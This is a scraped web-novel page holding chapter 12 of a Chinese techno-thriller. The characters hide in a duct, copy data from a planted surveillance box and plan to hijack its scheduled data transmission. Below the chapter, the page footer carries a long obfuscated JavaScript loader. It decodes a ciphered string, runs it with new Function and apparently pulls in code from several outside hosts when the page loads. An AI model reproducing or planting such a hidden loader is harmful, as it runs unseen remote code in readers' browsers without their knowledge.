首页
第12章 井上
返回

第12章 井上

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge678.com,更新快,无弹窗!


    第12章井上(第1/2页)
    管道内的空气在那一句话落地之后静止了。陆维桢蹲在黑暗里,手电已经关掉,只有管壁拐角处透进来微弱的天光反射。他感觉到自己左手边顾晏的呼吸在控制深度,右侧周承岳握在腿侧的工具在布料下面发出几乎听不见的静力压缩声。
    外面的人没有走。脚步声从井盖边缘退了大约半步又站定了,像在等一个回答。夜风从井盖缝隙里漏进来,带着地面上的枯草气味和一种极淡的化学试剂余味——那种气味他在四层材料仓库里闻到过,溶剂挥发后的残留。
    陆维桢用气声对周承岳说了一句,音量低到几乎只有他旁边的管壁能传导:“我能从他站的位置判断出他面朝的方向。如果他在等我们出去,他应该站在井盖正上方或者侧前方。他站的是侧后位——他不想让我们一出去就正面看到他,他想先观察我们的视线落点。“
    周承岳没有回应,但他握在腿侧的右手略微调整了握持角度。
    陆维桢往前挪了一小步,贴近管道的拐角处。他把手机调到最暗的屏幕亮度,从拐角边缘探出一线来反射管道壁面上的光泽,通过手机屏幕的反光观察井盖缝隙里的外部光线分布。缝隙里透进来的光线有一块被遮挡了——那人的脚站在井盖北侧约半米的位置,一双深色靴子的鞋尖在路灯余光的边缘露出一小截轮廓。鞋底的纹路是较深的沟槽花纹,不是城市通勤鞋,更接近户外地形鞋或战术靴的底型。
    “范德米尔。“陆维桢把手机收回来,低声说,“他穿了一双鞋底纹路非中式的靴子。站在井盖北侧,背朝配电房,面朝东侧围墙方向。他不想让我们在出来的第一时间看到他,但他也不打算走。他在等我们主动给出一个动静。“
    管道里的温度正在缓慢下降,通风管道的水泥壁吸收了夜间地表的凉意。陆维桢手里那只刚取下的ECHO-7盒子还贴在他的掌侧,盒子背面的激光蚀刻二维码在黑暗中像一道极浅的印记。他低头用手机的微光扫了一下那个二维码,光屏立刻在视野里展开了解码后的数据——一串嵌套的文本信息,被压缩成类似于坐标和编号的组合,末尾有一行未加密的备注字段:“ACC-04终端,用于南区通道路由节点数据的本地暂存。回传周期每二十四小时一次。下次回传窗口:十一月二十八日凌晨三点至五点。“
    陆维桢把解码后的信息记住了。他抬头看向井盖方向,夜风从缝隙里灌进来的速度比刚才慢了一点——有人站到了上风口的方向,身体阻挡了一部分空气流动。
    他在管道内用手机的备忘录打了一行字,把屏幕转向周承岳:“他堵住井口是为了不让我们用原路返回,但不是为了抓我们。他如果带了足够的人手,没必要自己站在这上面等。“
    周承岳看完之后略微点了下头。他收回视线,在备忘录上打了一行回复,屏幕朝向陆维桢:“你的意思是他单独来的。“
    “单独。而且他想要的东西不是我们的人,是他装在管道里的那台盒子。他只是确认盒子还在不在。“
    周承岳把手机收起来,腿侧握持的那把工具被无声地放低了。他侧过头用口型对陆维桢说了两个字:“给他。“
    陆维桢瞬间理解了。盒子本身已经不重要了——里面的数据已经被他扫走,硬件本身唯一的价值是如果被取走会导致远端触发掉线警报。但如果他们把盒子留在管道里原位,让范德米尔自己下来确认,他可以当着范德米尔的面暴露“东西还在“,同时制造一个空档让周承岳在地面上完成截停。
    他退回到金属盖板前,把ECHO-7盒子重新卡进盖板下的固定位里,那三根线缆的插头按照原来的顺序接好。负载模拟器被他顺手拆了下来放进口袋。盒子上的指示灯重新亮起绿色,保持着原有的常亮状态。他转身退回管道拐角处,用手势示意顾晏后退。三人沿着通风管道向内退了大约七八米,留出了一个充分的缓冲距离。然后陆维桢在管道壁面上轻轻敲击了三下——两短一长,像是金属盖板被不慎碰响时发出的声音。
    井盖上方传来了回应。一个轻微的脚步声挪动了一步,井盖边缘的铁质圈沿被什么东西轻轻勾了一下,发出一声金属叩响,然后井盖被从上方平移开了大约一掌宽的缝隙。冷空气灌进来的量比之前更大。一只手从缝隙里伸进来,戴着黑色薄手套,指间夹着一只微型手电筒。灯光在管道内壁扫了一个来回,落在金属盖板的方向,确认盖板完好、指示灯亮着,然后那只手缩了回去。
    (本章未完,请点击下一页继续阅读)第12章井上(第2/2页)
    井盖重新合拢的声响在管道里回荡了很短的时间。然后脚步声向北侧移动了大约两米远的方向,停住了。
    “他拿到了他想要的确认。“陆维桢用气声说,“但他在附近停下来了。“
    周承岳没有说话,他蹲在管道拐角后面,侧耳听了片刻外面的动静。风声和植被的窸窣声恢复了正常的夜晚节奏,但有一种额外的静默嵌在里面——像一个人刻意放轻呼吸之后留在空气里的空白。他无声地向前挪到井盖下方,抬起井盖一侧,从缝隙里观察外面。配电房的北侧地面上有一颗半截没入泥土的烟头,还在冒着微弱的余烟,滤嘴朝向东侧围墙方向。
    他放下井盖,转身朝陆维桢比了一个手势:“他在围墙外附近。没走远,但也没必要继续留在这里等。我们可以出去了,但要走另一条路。“
    顾晏的频谱仪在此时用最低音量发出了一组序列信号提示。她低头看了一眼屏幕,侧过屏幕让陆维桢看到:频谱仪捕捉到了一段极窄带的跳频脉冲,频段跟之前暗潮的通信协议一致,但发射源位于地下,来自管道前方约五十米处,方向指向工厂建筑群方向。那个方向正好和工厂地下空腔的位置重合。而且这一段跳频脉冲的持续时间和间歇周期和之前ECHO-7盒子内部的数据备份节奏完全吻合——同一套系统在向另一个接收端发送数据时产生了同样的射频特征。
    “地下空腔里还有另一台ECHO终端在运行。“陆维桢的目光从频谱仪屏幕抬起来,落在管道深处更暗的方向,“这台管道里的ACC-04只是路边的一个中继节点,核心主机在地下。范德米尔今晚来确认ACC-04还在线,是因为他真正要动的设备在下层。“
    周承岳把井盖重新卡回井圈上。他侧身沿管道向外挤了半米,贴着配电房的外墙根处找到了一个小型通风百叶窗,窗户的铁制格栅有六颗螺丝,其中三颗已经被卸掉过、槽口有轻微变形。他用工具钳依次旋下剩余的三颗,格栅被取下来,后面露出一道约半米高的通风格栅开口,穿过之后可以直接进入工厂外围的空置区域,绕开井盖附近范德米尔可能仍然驻留的位置。
    他先把工具包递了出去,然后侧身钻过了通风格栅。陆维桢跟着钻出去,顾晏断后把格栅重新用三颗螺丝固定在原位。外面的空气比管道里冷,也潮湿,带着泥地和水管漏水混合的气味。三人沿着配电房东侧的围墙根快速向南移动,在穿过一段低矮灌木丛之后重新回到了那条乡镇公路上。
    周承岳的SUV仍然停在机械修理铺的院子里。他上车后没有立刻启动引擎,而是先扫了一遍后视镜里和前方道路两侧的视野,确认没有灯光或车辆停留在附近,才拧动了钥匙。引擎启动的声音在深夜的乡镇公路上被压缩得很低。
    车辆驶入快速路之后,陆维桢坐在后排把那只ECHO-7盒子的二维码信息完整地写进了手机备忘录里。写的最后一行是一组时间标记:“凌晨三点至五点,十一月二十八日。今天日期十一月二十七日——回传窗口就在今晚。也就是说范德米尔今晚出现在配电房附近,确认ACC-04仍然在线,然后他会在今天凌晨三点到五点之间启动地下主机那边对应的接收程序,接收ACC-04回传的数据。“
    周承岳从后视镜里看了他一眼。陆维桢继续输入:“如果我们能在今晚三点之前接入地下主机旁边的通道,在他开启接收窗口的同时切入协议层,我们可以把ACC-04回传的数据包替换成——“
    他停顿了一下。顾晏在旁边接上了后半句:“替换成我们想要他收到的东西。让他以为他收到了正确的数据,实际上那些数据由我们写。“
    车辆在夜色中平稳地沿快速路向西行驶。龙科院的建筑群轮廓在远方开始重新变得清晰,实验区的灯光在地平线上织出一片低密度的暖黄色星群。周承岳在后视镜里点了点头。他的方向盘在下一个路口略微向右偏了一个角度——不是回龙科院的方向,而是绕向了东郊工厂的南侧入口方向。
    陆维桢在手机备忘录里新开了一行,写了几个字:“今天凌晨三点之前。还有时间。“写完他透过车窗看向东方的天际线,那片工厂建筑群的轮廓在月光的低照度下融进了夜色的背景里,看不清楚。但他知道它的位置。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();